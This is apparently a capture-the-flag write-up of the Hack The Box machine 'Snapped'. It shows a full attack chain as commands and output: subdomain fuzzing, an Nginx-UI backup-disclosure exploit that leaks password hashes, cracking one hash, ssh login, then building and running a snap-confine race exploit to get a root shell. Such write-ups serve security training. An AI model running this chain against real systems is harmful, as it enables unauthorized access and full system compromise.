Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ nmap -sC -sV -Pn 10.129.197.159 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-15 14:10 +0000
Nmap scan report for 10.129.197.159
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_ 256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 219.16 seconds
Let's add snapped.htbto our /etc/hosts
snapped.htb
From the index page, i did not find anything interesting.
I would continue to fuzz the web contents of this website
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ ffuf -u http://snapped.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://snapped.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 20199, Words: 5035, Lines: 540, Duration: 554ms]
index.html [Status: 200, Size: 20199, Words: 5035, Lines: 540, Duration: 375ms]
:: Progress: [4614/4614] :: Job [1/1] :: 106 req/sec :: Duration: [0:00:49] :: Errors: 0 ::
There is nothing interesting from the result.
I would continue to enumerate the sub domains
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ ffuf -u http://snapped.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.snapped.htb" -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://snapped.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.snapped.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
admin [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 487ms]
admin.snapped.htbwould be our next target.
admin.snapped.htb
Now we can find the related CVEof nginx ui, and find CVE-2026-27944
https://github.com/advisories/GHSA-g9w5-qffc-6762
Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure
We can grab the exploit script from this page, let's use that verify the vulnerable version
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ python3 poc.py --target http://admin.snapped.htb --decrypt
X-Backup-Security: vavp/AIIdbXoTIUA8YXJ0utfwvhj/jEa+UcFuzNvwCk=:alrVzOHNFkfbmmNEj0pv0w==
Parsed AES-256 key: vavp/AIIdbXoTIUA8YXJ0utfwvhj/jEa+UcFuzNvwCk=
Parsed AES IV : alrVzOHNFkfbmmNEj0pv0w==
[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
→ Extracted 22 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: af360766a7e7ce0a2191ccc7aadfbf921c87f4db4ba2c077ca3162f2375a16fe
nginx_hash: 5aee5d9cbacad73ddd1ab8449bb57ecd5ab38b857bf20e6277eb72ee39418905
timestamp: 20260415-024133
version: 2.3.2
By simply enumerating the grabbed files, we can find a database.db
┌──(wither㉿localhost)-[~/…/Hard/Snapped/backup_extracted/nginx-ui]
└─$ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
acme_users configs namespaces sites
auth_tokens dns_credentials nginx_log_indices streams
auto_backups dns_domains nodes upstream_configs
ban_ips external_notifies notifications users
certs llm_sessions passkeys
config_backups migrations site_configs
sqlite> select * from users;
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g�
|�7�ĝ�*�:���(��\�D�O�}u#,�|en
2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,��զ�H�։��e)5U��Z��▒KĦ"D���W▒|en
Now I can find the hashes
admin:$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
jonathan:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
I can use hashcatto crack the password of jonathan
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ hashcat jonathan.hash -m 3200 /usr/share/wordlists/rockyou.txt
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2...oCSyWq
Time.Started.....: Wed Apr 15 14:40:16 2026 (13 secs)
Time.Estimated...: Wed Apr 15 14:40:29 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 38 H/s (3.34ms) @ Accel:2 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 504/14344385 (0.00%)
Rejected.........: 0/504 (0.00%)
Restore.Point....: 500/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#01...: turtle -> claire
Hardware.Mon.#01.: Util: 96%
Started: Wed Apr 15 14:40:13 2026
Stopped: Wed Apr 15 14:40:31 2026
Now we can get the credit jonathan:linkinpark
Also we can use ssh connect to the shell of jonathan
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ ssh jonathan@snapped.htb
The authenticity of host 'snapped.htb (10.129.197.159)' can't be established.
ED25519 key fingerprint is: SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'snapped.htb' (ED25519) to the list of known hosts.
jonathan@snapped.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Mar 20 12:27:50 2026 from 10.10.14.5
jonathan@snapped:~$ whoami
jonathan
Privilege Escalation
I would check sudo -lfirstly
jonathan@snapped:~$ sudo -l
[sudo] password for jonathan:
Sorry, user jonathan may not run sudo on snapped.
By checking the file system of this machine, that seems like the file system of ubuntu
jonathan@snapped:~$ ls
Desktop Documents Downloads Music Pictures Public snap Templates user.txt Videos
jonathan@snapped:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
Continue to check the detailed version of this machine
jonathan@snapped:~$ uname -a
Linux snapped 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
Think about the name of this machine snapped, that seems point to service snap
jonathan@snapped:~$ snap version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
That seems lead to a existed CVE
CVE-2026-3888 — snap-confine / systemd-tmpfiles Local Privilege Escalation
Local privilege escalation in snapd on Linux allows local...
https://github.com/advisories/GHSA-grpw-jgrw-ccqr
Also we can find the exploited script
https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
This exploit takes several minutes to take effect. In the real world, it could take up to 30 days, but here, it only has a 4-minute countdown.
Now let's exploit them step by step
Firstly build the exploit dependency
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE]
└─$ gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Then upload it to the target machine
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE]
└─$ sshpass -p linkinpark scp exploit librootshell.so jonathan@snapped.htb:/tmp/
I’ll run the exploit giving it the payload library as an argument:
jonathan@snapped:/tmp$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /tmp/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 69249
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
The first stage creates a shell within the Firefox snap namespace. It runs cd /tmp; sleep 86400, but /tmp is actually /tmp/snap-private-tmp/snap.firefox/tmp snap.firefox/tmp. As a non-root user, I cannot access this directory. However, I can access it from /proc and note the process ID:
jonathan@snapped:~$ ls -la /proc/69249/root/tmp/
total 12
drwxrwxrwt 4 root root 4096 Apr 15 23:00 .
drwxr-xr-x 21 root root 540 Apr 15 22:57 ..
drwxr-xr-x 4 root root 4096 Apr 15 22:57 .snap
drwxrwxrwt 2 root root 4096 Apr 15 02:13 .X11-unix
ls -la /proc/69249/root/tmp/.snap/usr/lib/x86_64-linux-gnu | head -5
We need to wait for the cleanup to happen
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
The third phase destroys the cached mount namespaces. snap-confine caches mount namespaces so they can be reused on subsequent snap startups without needing to rebuild them. If an old cached namespace still exists, snap-confine reuses it and never reads anything from /tmp/.snap, meaning the attacker's malicious directory will be ignored. By forcing an error, the exploit ensures that a new namespace must be built from scratch on the next snap startup, at which point snap-confine can access the attacker's content.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_UY5hrE//dev: No such file or directory
[+] Namespace destroyed.
Phase 4 is the race condition:
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/5584/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 5839)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[+] Poisoned namespace PID: 5839
This is the core of the exploit. It first creates a legitimate .snap directory tree and then starts snap-confine. When snap-confine begins building the mount namespace, it verifies the .snap directory and passes the check. However, before snap-confine performs the bind mount step, the exploit uses rename() to atomically replace the legitimate .snap file with a malicious file containing the attacker's payload, replacing ld-linux-x86-64.so.2. Because snap-confine does not re-verify after the replacement, it binds the attacker's content to the namespace.
The fifth stage involves injecting my payload into the corrupted namespace. Since the real dynamic linker has been replaced, only statically linked binaries can run in this namespace. The exploit places a statically linked copy of busybox into the corrupted tmp:
The sixth stage triggers this chain reaction:
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
The final phase, it will start the busybox shell as root to verify the exploit
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# whoami
root
Description
This machine primarily exploits the CVE-2026-3888 vulnerability, and is similar to a demonstration of the latest Snap vulnerability.